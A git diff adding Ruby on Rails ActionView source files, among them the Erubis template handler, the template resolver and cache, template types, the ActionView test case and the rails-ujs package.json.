new file mode 100644
index 0000000000..dc3bf1ff27
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/erb/erubis.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+gem "erubis"
+require "erubis"
+
+module ActionView
+  class Template
+    module Handlers
+      class ERB
+        class Erubis < ::Erubis::Eruby
+          # :nodoc: all
+          def add_preamble(src)
+            @newline_pending = 0
+            src << "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
+          end
+
+          def add_text(src, text)
+            return if text.empty?
+
+            if text == "\n"
+              @newline_pending += 1
+            else
+              src << "@output_buffer.safe_append='"
+              src << "\n" * @newline_pending if @newline_pending > 0
+              src << escape_text(text)
+              src << "'.freeze;"
+
+              @newline_pending = 0
+            end
+          end
+
+          # Erubis toggles <%= and <%== behavior when escaping is enabled.
+          # We override to always treat <%== as escaped.
+          def add_expr(src, code, indicator)
+            case indicator
+            when "=="
+              add_expr_escaped(src, code)
+            else
+              super
+            end
+          end
+
+          BLOCK_EXPR = /\s*((\s+|\))do|\{)(\s*\|[^|]*\|)?\s*\Z/
+
+          def add_expr_literal(src, code)
+            flush_newline_if_pending(src)
+            if BLOCK_EXPR.match?(code)
+              src << "@output_buffer.append= " << code
+            else
+              src << "@output_buffer.append=(" << code << ");"
+            end
+          end
+
+          def add_expr_escaped(src, code)
+            flush_newline_if_pending(src)
+            if BLOCK_EXPR.match?(code)
+              src << "@output_buffer.safe_expr_append= " << code
+            else
+              src << "@output_buffer.safe_expr_append=(" << code << ");"
+            end
+          end
+
+          def add_stmt(src, code)
+            flush_newline_if_pending(src)
+            super
+          end
+
+          def add_postamble(src)
+            flush_newline_if_pending(src)
+            src << "@output_buffer.to_s"
+          end
+
+          def flush_newline_if_pending(src)
+            if @newline_pending > 0
+              src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
+              @newline_pending = 0
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/handlers/html.rb b/actionview/lib/action_view/template/handlers/html.rb
new file mode 100644
index 0000000000..27004a318c
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/html.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Template::Handlers
+    class Html < Raw
+      def call(template)
+        "ActionView::OutputBuffer.new #{super}"
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/handlers/raw.rb b/actionview/lib/action_view/template/handlers/raw.rb
new file mode 100644
index 0000000000..5cd23a0060
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/raw.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Template::Handlers
+    class Raw
+      def call(template)
+        "#{template.source.inspect}.html_safe;"
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/html.rb b/actionview/lib/action_view/template/html.rb
new file mode 100644
index 0000000000..540597efa1
--- /dev/null
+++ b/actionview/lib/action_view/template/html.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ActionView #:nodoc:
+  # = Action View HTML Template
+  class Template
+    class HTML #:nodoc:
+      attr_accessor :type
+
+      def initialize(string, type = nil)
+        @string = string.to_s
+        @type   = Types[type] || type if type
+        @type ||= Types[:html]
+      end
+
+      def identifier
+        "html template"
+      end
+
+      alias_method :inspect, :identifier
+
+      def to_str
+        ERB::Util.h(@string)
+      end
+
+      def render(*args)
+        to_str
+      end
+
+      def formats
+        [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
new file mode 100644
index 0000000000..708dee3164
--- /dev/null
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -0,0 +1,391 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "active_support/core_ext/class"
+require "active_support/core_ext/module/attribute_accessors"
+require_relative "../template"
+require "thread"
+require "concurrent/map"
+
+module ActionView
+  # = Action View Resolver
+  class Resolver
+    # Keeps all information about view path and builds virtual path.
+    class Path
+      attr_reader :name, :prefix, :partial, :virtual
+      alias_method :partial?, :partial
+
+      def self.build(name, prefix, partial)
+        virtual = "".dup
+        virtual << "#{prefix}/" unless prefix.empty?
+        virtual << (partial ? "_#{name}" : name)
+        new name, prefix, partial, virtual
+      end
+
+      def initialize(name, prefix, partial, virtual)
+        @name    = name
+        @prefix  = prefix
+        @partial = partial
+        @virtual = virtual
+      end
+
+      def to_str
+        @virtual
+      end
+      alias :to_s :to_str
+    end
+
+    # Threadsafe template cache
+    class Cache #:nodoc:
+      class SmallCache < Concurrent::Map
+        def initialize(options = {})
+          super(options.merge(initial_capacity: 2))
+        end
+      end
+
+      # preallocate all the default blocks for performance/memory consumption reasons
+      PARTIAL_BLOCK = lambda { |cache, partial| cache[partial] = SmallCache.new }
+      PREFIX_BLOCK  = lambda { |cache, prefix|  cache[prefix]  = SmallCache.new(&PARTIAL_BLOCK) }
+      NAME_BLOCK    = lambda { |cache, name|    cache[name]    = SmallCache.new(&PREFIX_BLOCK) }
+      KEY_BLOCK     = lambda { |cache, key|     cache[key]     = SmallCache.new(&NAME_BLOCK) }
+
+      # usually a majority of template look ups return nothing, use this canonical preallocated array to save memory
+      NO_TEMPLATES = [].freeze
+
+      def initialize
+        @data = SmallCache.new(&KEY_BLOCK)
+        @query_cache = SmallCache.new
+      end
+
+      def inspect
+        "#<#{self.class.name}:0x#{(object_id << 1).to_s(16)} keys=#{@data.size} queries=#{@query_cache.size}>"
+      end
+
+      # Cache the templates returned by the block
+      def cache(key, name, prefix, partial, locals)
+        if Resolver.caching?
+          @data[key][name][prefix][partial][locals] ||= canonical_no_templates(yield)
+        else
+          fresh_templates  = yield
+          cached_templates = @data[key][name][prefix][partial][locals]
+
+          if templates_have_changed?(cached_templates, fresh_templates)
+            @data[key][name][prefix][partial][locals] = canonical_no_templates(fresh_templates)
+          else
+            cached_templates || NO_TEMPLATES
+          end
+        end
+      end
+
+      def cache_query(query) # :nodoc:
+        if Resolver.caching?
+          @query_cache[query] ||= canonical_no_templates(yield)
+        else
+          yield
+        end
+      end
+
+      def clear
+        @data.clear
+        @query_cache.clear
+      end
+
+      # Get the cache size.  Do not call this
+      # method. This method is not guaranteed to be here ever.
+      def size # :nodoc:
+        size = 0
+        @data.each_value do |v1|
+          v1.each_value do |v2|
+            v2.each_value do |v3|
+              v3.each_value do |v4|
+                size += v4.size
+              end
+            end
+          end
+        end
+
+        size + @query_cache.size
+      end
+
+      private
+
+        def canonical_no_templates(templates)
+          templates.empty? ? NO_TEMPLATES : templates
+        end
+
+        def templates_have_changed?(cached_templates, fresh_templates)
+          # if either the old or new template list is empty, we don't need to (and can't)
+          # compare modification times, and instead just check whether the lists are different
+          if cached_templates.blank? || fresh_templates.blank?
+            return fresh_templates.blank? != cached_templates.blank?
+          end
+
+          cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
+
+          # if a template has changed, it will be now be newer than all the cached templates
+          fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
+        end
+    end
+
+    cattr_accessor :caching, default: true
+
+    class << self
+      alias :caching? :caching
+    end
+
+    def initialize
+      @cache = Cache.new
+    end
+
+    def clear_cache
+      @cache.clear
+    end
+
+    # Normalizes the arguments and passes it on to find_templates.
+    def find_all(name, prefix = nil, partial = false, details = {}, key = nil, locals = [])
+      cached(key, [name, prefix, partial], details, locals) do
+        find_templates(name, prefix, partial, details)
+      end
+    end
+
+    def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
+      cached(key, [name, prefix, partial], details, locals) do
+        find_templates(name, prefix, partial, details, true)
+      end
+    end
+
+    def find_all_with_query(query) # :nodoc:
+      @cache.cache_query(query) { find_template_paths(File.join(@path, query)) }
+    end
+
+  private
+
+    delegate :caching?, to: :class
+
+    # This is what child classes implement. No defaults are needed
+    # because Resolver guarantees that the arguments are present and
+    # normalized.
+    def find_templates(name, prefix, partial, details, outside_app_allowed = false)
+      raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details, outside_app_allowed = false) method"
+    end
+
+    # Helpers that builds a path. Useful for building virtual paths.
+    def build_path(name, prefix, partial)
+      Path.build(name, prefix, partial)
+    end
+
+    # Handles templates caching. If a key is given and caching is on
+    # always check the cache before hitting the resolver. Otherwise,
+    # it always hits the resolver but if the key is present, check if the
+    # resolver is fresher before returning it.
+    def cached(key, path_info, details, locals)
+      name, prefix, partial = path_info
+      locals = locals.map(&:to_s).sort!
+
+      if key
+        @cache.cache(key, name, prefix, partial, locals) do
+          decorate(yield, path_info, details, locals)
+        end
+      else
+        decorate(yield, path_info, details, locals)
+      end
+    end
+
+    # Ensures all the resolver information is set in the template.
+    def decorate(templates, path_info, details, locals)
+      cached = nil
+      templates.each do |t|
+        t.locals         = locals
+        t.formats        = details[:formats]  || [:html] if t.formats.empty?
+        t.variants       = details[:variants] || []      if t.variants.empty?
+        t.virtual_path ||= (cached ||= build_path(*path_info))
+      end
+    end
+  end
+
+  # An abstract class that implements a Resolver with path semantics.
+  class PathResolver < Resolver #:nodoc:
+    EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
+    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
+
+    def initialize(pattern = nil)
+      @pattern = pattern || DEFAULT_PATTERN
+      super()
+    end
+
+    private
+
+      def find_templates(name, prefix, partial, details, outside_app_allowed = false)
+        path = Path.build(name, prefix, partial)
+        query(path, details, details[:formats], outside_app_allowed)
+      end
+
+      def query(path, details, formats, outside_app_allowed)
+        query = build_query(path, details)
+
+        template_paths = find_template_paths(query)
+        template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
+
+        template_paths.map do |template|
+          handler, format, variant = extract_handler_and_format_and_variant(template)
+          contents = File.binread(template)
+
+          Template.new(contents, File.expand_path(template), handler,
+            virtual_path: path.virtual,
+            format: format,
+            variant: variant,
+            updated_at: mtime(template)
+          )
+        end
+      end
+
+      def reject_files_external_to_app(files)
+        files.reject { |filename| !inside_path?(@path, filename) }
+      end
+
+      def find_template_paths(query)
+        Dir[query].uniq.reject do |filename|
+          File.directory?(filename) ||
+            # deals with case-insensitive file systems.
+            !File.fnmatch(query, filename, File::FNM_EXTGLOB)
+        end
+      end
+
+      def inside_path?(path, filename)
+        filename = File.expand_path(filename)
+        path = File.join(path, "")
+        filename.start_with?(path)
+      end
+
+      # Helper for building query glob string based on resolver's pattern.
+      def build_query(path, details)
+        query = @pattern.dup
+
+        prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
+        query.gsub!(/:prefix(\/)?/, prefix)
+
+        partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
+        query.gsub!(/:action/, partial)
+
+        details.each do |ext, candidates|
+          if ext == :variants && candidates == :any
+            query.gsub!(/:#{ext}/, "*")
+          else
+            query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
+          end
+        end
+
+        File.expand_path(query, @path)
+      end
+
+      def escape_entry(entry)
+        entry.gsub(/[*?{}\[\]]/, '\\\\\\&'.freeze)
+      end
+
+      # Returns the file mtime from the filesystem.
+      def mtime(p)
+        File.mtime(p)
+      end
+
+      # Extract handler, formats and variant from path. If a format cannot be found neither
+      # from the path, or the handler, we should return the array of formats given
+      # to the resolver.
+      def extract_handler_and_format_and_variant(path)
+        pieces = File.basename(path).split(".".freeze)
+        pieces.shift
+
+        extension = pieces.pop
+
+        handler = Template.handler_for_extension(extension)
+        format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
+        format &&= Template::Types[format]
+
+        [handler, format, variant]
+      end
+  end
+
+  # A resolver that loads files from the filesystem. It allows setting your own
+  # resolving pattern. Such pattern can be a glob string supported by some variables.
+  #
+  # ==== Examples
+  #
+  # Default pattern, loads views the same way as previous versions of rails, eg. when you're
+  # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
+  #
+  #   FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
+  #
+  # This one allows you to keep files with different formats in separate subdirectories,
+  # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
+  # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
+  #
+  #   FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
+  #
+  # If you don't specify a pattern then the default will be used.
+  #
+  # In order to use any of the customized resolvers above in a Rails application, you just need
+  # to configure ActionController::Base.view_paths in an initializer, for example:
+  #
+  #   ActionController::Base.view_paths = FileSystemResolver.new(
+  #     Rails.root.join("app/views"),
+  #     ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}",
+  #   )
+  #
+  # ==== Pattern format and variables
+  #
+  # Pattern has to be a valid glob string, and it allows you to use the
+  # following variables:
+  #
+  # * <tt>:prefix</tt> - usually the controller path
+  # * <tt>:action</tt> - name of the action
+  # * <tt>:locale</tt> - possible locale versions
+  # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
+  # * <tt>:variants</tt> - possible request variants (for example phone, tablet...)
+  # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
+  #
+  class FileSystemResolver < PathResolver
+    def initialize(path, pattern = nil)
+      raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
+      super(pattern)
+      @path = File.expand_path(path)
+    end
+
+    def to_s
+      @path.to_s
+    end
+    alias :to_path :to_s
+
+    def eql?(resolver)
+      self.class.equal?(resolver.class) && to_path == resolver.to_path
+    end
+    alias :== :eql?
+  end
+
+  # An Optimized resolver for Rails' most common case.
+  class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
+    def build_query(path, details)
+      query = escape_entry(File.join(@path, path))
+
+      exts = EXTENSIONS.map do |ext, prefix|
+        if ext == :variants && details[ext] == :any
+          "{#{prefix}*,}"
+        else
+          "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+        end
+      end.join
+
+      query + exts
+    end
+  end
+
+  # The same as FileSystemResolver but does not allow templates to store
+  # a virtual path since it is invalid for such resolvers.
+  class FallbackFileSystemResolver < FileSystemResolver #:nodoc:
+    def self.instances
+      [new(""), new("/")]
+    end
+
+    def decorate(*)
+      super.each { |t| t.virtual_path = nil }
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/text.rb b/actionview/lib/action_view/template/text.rb
new file mode 100644
index 0000000000..f070005881
--- /dev/null
+++ b/actionview/lib/action_view/template/text.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module ActionView #:nodoc:
+  # = Action View Text Template
+  class Template
+    class Text #:nodoc:
+      attr_accessor :type
+
+      def initialize(string)
+        @string = string.to_s
+        @type = Types[:text]
+      end
+
+      def identifier
+        "text template"
+      end
+
+      alias_method :inspect, :identifier
+
+      def to_str
+        @string
+      end
+
+      def render(*args)
+        to_str
+      end
+
+      def formats
+        [@type.ref]
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
new file mode 100644
index 0000000000..f0f37c9722
--- /dev/null
+++ b/actionview/lib/action_view/template/types.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+
+module ActionView
+  class Template
+    class Types
+      class Type
+        SET = Struct.new(:symbols).new([ :html, :text, :js, :css, :xml, :json ])
+
+        def self.[](type)
+          if type.is_a?(self)
+            type
+          else
+            new(type)
+          end
+        end
+
+        attr_reader :symbol
+
+        def initialize(symbol)
+          @symbol = symbol.to_sym
+        end
+
+        def to_s
+          @symbol.to_s
+        end
+        alias to_str to_s
+
+        def ref
+          @symbol
+        end
+        alias to_sym ref
+
+        def ==(type)
+          @symbol == type.to_sym unless type.blank?
+        end
+      end
+
+      cattr_accessor :type_klass
+
+      def self.delegate_to(klass)
+        self.type_klass = klass
+      end
+
+      delegate_to Type
+
+      def self.[](type)
+        type_klass[type]
+      end
+
+      def self.symbols
+        type_klass::SET.symbols
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/test_case.rb b/actionview/lib/action_view/test_case.rb
new file mode 100644
index 0000000000..efe8c87b9b
--- /dev/null
+++ b/actionview/lib/action_view/test_case.rb
@@ -0,0 +1,288 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/remove_method"
+require "action_controller"
+require "action_controller/test_case"
+require "action_view"
+
+require "rails-dom-testing"
+
+module ActionView
+  # = Action View Test Case
+  class TestCase < ActiveSupport::TestCase
+    class TestController < ActionController::Base
+      include ActionDispatch::TestProcess
+
+      attr_accessor :request, :response, :params
+
+      class << self
+        attr_writer :controller_path
+      end
+
+      def controller_path=(path)
+        self.class.controller_path = (path)
+      end
+
+      def initialize
+        super
+        self.class.controller_path = ""
+        @request = ActionController::TestRequest.create(self.class)
+        @response = ActionDispatch::TestResponse.new
+
+        @request.env.delete("PATH_INFO")
+        @params = ActionController::Parameters.new
+      end
+    end
+
+    module Behavior
+      extend ActiveSupport::Concern
+
+      include ActionDispatch::Assertions, ActionDispatch::TestProcess
+      include Rails::Dom::Testing::Assertions
+      include ActionController::TemplateAssertions
+      include ActionView::Context
+
+      include ActionDispatch::Routing::PolymorphicRoutes
+
+      include AbstractController::Helpers
+      include ActionView::Helpers
+      include ActionView::RecordIdentifier
+      include ActionView::RoutingUrlFor
+
+      include ActiveSupport::Testing::ConstantLookup
+
+      delegate :lookup_context, to: :controller
+      attr_accessor :controller, :output_buffer, :rendered
+
+      module ClassMethods
+        def tests(helper_class)
+          case helper_class
+          when String, Symbol
+            self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
+          when Module
+            self.helper_class = helper_class
+          end
+        end
+
+        def determine_default_helper_class(name)
+          determine_constant_from_test_name(name) do |constant|
+            Module === constant && !(Class === constant)
+          end
+        end
+
+        def helper_method(*methods)
+          # Almost a duplicate from ActionController::Helpers
+          methods.flatten.each do |method|
+            _helpers.module_eval <<-end_eval, __FILE__, __LINE__ + 1
+              def #{method}(*args, &block)                    # def current_user(*args, &block)
+                _test_case.send(%(#{method}), *args, &block)  #   _test_case.send(%(current_user), *args, &block)
+              end                                             # end
+            end_eval
+          end
+        end
+
+        attr_writer :helper_class
+
+        def helper_class
+          @helper_class ||= determine_default_helper_class(name)
+        end
+
+        def new(*)
+          include_helper_modules!
+          super
+        end
+
+      private
+
+        def include_helper_modules!
+          helper(helper_class) if helper_class
+          include _helpers
+        end
+      end
+
+      def setup_with_controller
+        @controller = ActionView::TestCase::TestController.new
+        @request = @controller.request
+        @view_flow = ActionView::OutputFlow.new
+        # empty string ensures buffer has UTF-8 encoding as
+        # new without arguments returns ASCII-8BIT encoded buffer like String#new
+        @output_buffer = ActiveSupport::SafeBuffer.new ""
+        @rendered = "".dup
+
+        make_test_case_available_to_view!
+        say_no_to_protect_against_forgery!
+      end
+
+      def config
+        @controller.config if @controller.respond_to?(:config)
+      end
+
+      def render(options = {}, local_assigns = {}, &block)
+        view.assign(view_assigns)
+        @rendered << output = view.render(options, local_assigns, &block)
+        output
+      end
+
+      def rendered_views
+        @_rendered_views ||= RenderedViewsCollection.new
+      end
+
+      def _routes
+        @controller._routes if @controller.respond_to?(:_routes)
+      end
+
+      # Need to experiment if this priority is the best one: rendered => output_buffer
+      class RenderedViewsCollection
+        def initialize
+          @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
+        end
+
+        def add(view, locals)
+          @rendered_views[view] ||= []
+          @rendered_views[view] << locals
+        end
+
+        def locals_for(view)
+          @rendered_views[view]
+        end
+
+        def rendered_views
+          @rendered_views.keys
+        end
+
+        def view_rendered?(view, expected_locals)
+          locals_for(view).any? do |actual_locals|
+            expected_locals.all? { |key, value| value == actual_locals[key] }
+          end
+        end
+      end
+
+      included do
+        setup :setup_with_controller
+        ActiveSupport.run_load_hooks(:action_view_test_case, self)
+      end
+
+    private
+
+      # Need to experiment if this priority is the best one: rendered => output_buffer
+      def document_root_element
+        Nokogiri::HTML::Document.parse(@rendered.blank? ? @output_buffer : @rendered).root
+      end
+
+      def say_no_to_protect_against_forgery!
+        _helpers.module_eval do
+          remove_possible_method :protect_against_forgery?
+          def protect_against_forgery?
+            false
+          end
+        end
+      end
+
+      def make_test_case_available_to_view!
+        test_case_instance = self
+        _helpers.module_eval do
+          unless private_method_defined?(:_test_case)
+            define_method(:_test_case) { test_case_instance }
+            private :_test_case
+          end
+        end
+      end
+
+      module Locals
+        attr_accessor :rendered_views
+
+        def render(options = {}, local_assigns = {})
+          case options
+          when Hash
+            if block_given?
+              rendered_views.add options[:layout], options[:locals]
+            elsif options.key?(:partial)
+              rendered_views.add options[:partial], options[:locals]
+            end
+          else
+            rendered_views.add options, local_assigns
+          end
+
+          super
+        end
+      end
+
+      # The instance of ActionView::Base that is used by +render+.
+      def view
+        @view ||= begin
+          view = @controller.view_context
+          view.singleton_class.include(_helpers)
+          view.extend(Locals)
+          view.rendered_views = rendered_views
+          view.output_buffer = output_buffer
+          view
+        end
+      end
+
+      alias_method :_view, :view
+
+      INTERNAL_IVARS = [
+        :@NAME,
+        :@failures,
+        :@assertions,
+        :@__io__,
+        :@_assertion_wrapped,
+        :@_assertions,
+        :@_result,
+        :@_routes,
+        :@controller,
+        :@_layouts,
+        :@_files,
+        :@_rendered_views,
+        :@method_name,
+        :@output_buffer,
+        :@_partials,
+        :@passed,
+        :@rendered,
+        :@request,
+        :@routes,
+        :@tagged_logger,
+        :@_templates,
+        :@options,
+        :@test_passed,
+        :@view,
+        :@view_context_class,
+        :@view_flow,
+        :@_subscribers,
+        :@html_document
+      ]
+
+      def _user_defined_ivars
+        instance_variables - INTERNAL_IVARS
+      end
+
+      # Returns a Hash of instance variables and their values, as defined by
+      # the user in the test case, which are then assigned to the view being
+      # rendered. This is generally intended for internal use and extension
+      # frameworks.
+      def view_assigns
+        Hash[_user_defined_ivars.map do |ivar|
+          [ivar[1..-1].to_sym, instance_variable_get(ivar)]
+        end]
+      end
+
+      def method_missing(selector, *args)
+        begin
+          routes = @controller.respond_to?(:_routes) && @controller._routes
+        rescue
+          # Dont call routes, if there is an error on _routes call
+        end
+
+        if routes &&
+           (routes.named_routes.route_defined?(selector) ||
+             routes.mounted_helpers.method_defined?(selector))
+          @controller.__send__(selector, *args)
+        else
+          super
+        end
+      end
+    end
+
+    include Behavior
+  end
+end
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
new file mode 100644
index 0000000000..92fdb24a5e
--- /dev/null
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require_relative "../template/resolver"
+
+module ActionView #:nodoc:
+  # Use FixtureResolver in your tests to simulate the presence of files on the
+  # file system. This is used internally by Rails' own test suite, and is
+  # useful for testing extensions that have no way of knowing what the file
+  # system will look like at runtime.
+  class FixtureResolver < PathResolver
+    attr_reader :hash
+
+    def initialize(hash = {}, pattern = nil)
+      super(pattern)
+      @hash = hash
+    end
+
+    def to_s
+      @hash.keys.join(", ")
+    end
+
+    private
+
+      def query(path, exts, _, _)
+        query = "".dup
+        EXTENSIONS.each_key do |ext|
+          query << "(" << exts[ext].map { |e| e && Regexp.escape(".#{e}") }.join("|") << "|)"
+        end
+        query = /^(#{Regexp.escape(path)})#{query}$/
+
+        templates = []
+        @hash.each do |_path, array|
+          source, updated_at = array
+          next unless query.match?(_path)
+          handler, format, variant = extract_handler_and_format_and_variant(_path)
+          templates << Template.new(source, _path, handler,
+            virtual_path: path.virtual,
+            format: format,
+            variant: variant,
+            updated_at: updated_at
+          )
+        end
+
+        templates.sort_by { |t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
+      end
+  end
+
+  class NullResolver < PathResolver
+    def query(path, exts, _, _)
+      handler, format, variant = extract_handler_and_format_and_variant(path)
+      [ActionView::Template.new("Template generated by Null Resolver", path.virtual, handler, virtual_path: path.virtual, format: format, variant: variant)]
+    end
+  end
+end
diff --git a/actionview/lib/action_view/version.rb b/actionview/lib/action_view/version.rb
new file mode 100644
index 0000000000..be53797a14
--- /dev/null
+++ b/actionview/lib/action_view/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActionView
+  # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/actionview/lib/action_view/view_paths.rb b/actionview/lib/action_view/view_paths.rb
new file mode 100644
index 0000000000..d5694d77f4
--- /dev/null
+++ b/actionview/lib/action_view/view_paths.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+module ActionView
+  module ViewPaths
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_view_paths, default: ActionView::PathSet.new.freeze
+    end
+
+    delegate :template_exists?, :any_templates?, :view_paths, :formats, :formats=,
+             :locale, :locale=, to: :lookup_context
+
+    module ClassMethods
+      def _prefixes # :nodoc:
+        @_prefixes ||= begin
+          return local_prefixes if superclass.abstract?
+
+          local_prefixes + superclass._prefixes
+        end
+      end
+
+      private
+
+        # Override this method in your controller if you want to change paths prefixes for finding views.
+        # Prefixes defined here will still be added to parents' <tt>._prefixes</tt>.
+        def local_prefixes
+          [controller_path]
+        end
+    end
+
+    # The prefixes used in render "foo" shortcuts.
+    def _prefixes # :nodoc:
+      self.class._prefixes
+    end
+
+    # <tt>LookupContext</tt> is the object responsible for holding all
+    # information required for looking up templates, i.e. view paths and
+    # details. Check <tt>ActionView::LookupContext</tt> for more information.
+    def lookup_context
+      @_lookup_context ||=
+        ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
+    end
+
+    def details_for_lookup
+      {}
+    end
+
+    # Append a path to the list of view paths for the current <tt>LookupContext</tt>.
+    #
+    # ==== Parameters
+    # * <tt>path</tt> - If a String is provided, it gets converted into
+    #   the default view path. You may also provide a custom view path
+    #   (see ActionView::PathSet for more information)
+    def append_view_path(path)
+      lookup_context.view_paths.push(*path)
+    end
+
+    # Prepend a path to the list of view paths for the current <tt>LookupContext</tt>.
+    #
+    # ==== Parameters
+    # * <tt>path</tt> - If a String is provided, it gets converted into
+    #   the default view path. You may also provide a custom view path
+    #   (see ActionView::PathSet for more information)
+    def prepend_view_path(path)
+      lookup_context.view_paths.unshift(*path)
+    end
+
+    module ClassMethods
+      # Append a path to the list of view paths for this controller.
+      #
+      # ==== Parameters
+      # * <tt>path</tt> - If a String is provided, it gets converted into
+      #   the default view path. You may also provide a custom view path
+      #   (see ActionView::PathSet for more information)
+      def append_view_path(path)
+        self._view_paths = view_paths + Array(path)
+      end
+
+      # Prepend a path to the list of view paths for this controller.
+      #
+      # ==== Parameters
+      # * <tt>path</tt> - If a String is provided, it gets converted into
+      #   the default view path. You may also provide a custom view path
+      #   (see ActionView::PathSet for more information)
+      def prepend_view_path(path)
+        self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
+      end
+
+      # A list of all of the default view paths for this controller.
+      def view_paths
+        _view_paths
+      end
+
+      # Set the view paths.
+      #
+      # ==== Parameters
+      # * <tt>paths</tt> - If a PathSet is provided, use that;
+      #   otherwise, process the parameter into a PathSet.
+      def view_paths=(paths)
+        self._view_paths = ActionView::PathSet.new(Array(paths))
+      end
+    end
+  end
+end
diff --git a/actionview/package.json b/actionview/package.json
new file mode 100644
index 0000000000..4cbf0207e5
--- /dev/null
+++ b/actionview/package.json
@@ -0,0 +1,36 @@
+{
+  "name": "rails-ujs",
+  "version": "5.2.0-alpha",
+  "description": "Ruby on Rails unobtrusive scripting adapter",
+  "main": "lib/assets/compiled/rails-ujs.js",
+  "files": [
+    "lib/assets/compiled/*.js"
+  ],
+  "directories": {
+    "test": "test"
+  },
+  "scripts": {
+    "build": "bundle exec blade build",
+    "test": "echo \"See the README: https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts#how-to-run-tests\" && exit 1",
+    "lint": "coffeelint app/assets/javascripts && eslint test/ujs/public/test"
+  },
+  "repository": {
+    "type": "git",
+    "url": "rails/rails"
+  },
+  "contributors": [
+    "Stephen St. Martin",
+    "Steve Schwartz",
+    "Dangyi Liu",
+    "All contributors"
+  ],
+  "license": "MIT",
+  "bugs": {
+    "url": "https://github.com/rails/rails/issues"
+  },
+  "homepage": "http://rubyonrails.org/",
+  "devDependencies": {
+    "coffeelint": "^1.15.7",
+    "eslint": "^2.13.1"
+  }
+}
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
new file mode 100644
index 0000000000..c98270bd12
--- /dev/null
+++ b/actionview/test/abstract_unit.rb
@@ -0,0 +1,287 @@
+# frozen_string_literal: true
+
+$:.unshift File.expand_path("lib", __dir__)
+$:.unshift File.expand_path("fixtures/helpers", __dir__)
+$:.unshift File.expand_path("fixtures/alternate_helpers", __dir__)
+
+ENV["TMPDIR"] = File.expand_path("tmp", __dir__)
+
+require "active_support/core_ext/kernel/reporting"
+
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+  Encoding.default_internal = Encoding::UTF_8
+  Encoding.default_external = Encoding::UTF_8
+end
+
+require "active_support/testing/autorun"
+require "active_support/testing/method_call_assertions"
+require "action_controller"
+require "action_view"
+require "action_view/testing/resolvers"
+require "active_support/dependencies"
+require "active_model"
+require "active_record"
+
+require "pp" # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+
+module Rails
+  class << self
+    def env
+      @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
+    end
+  end
+end
+
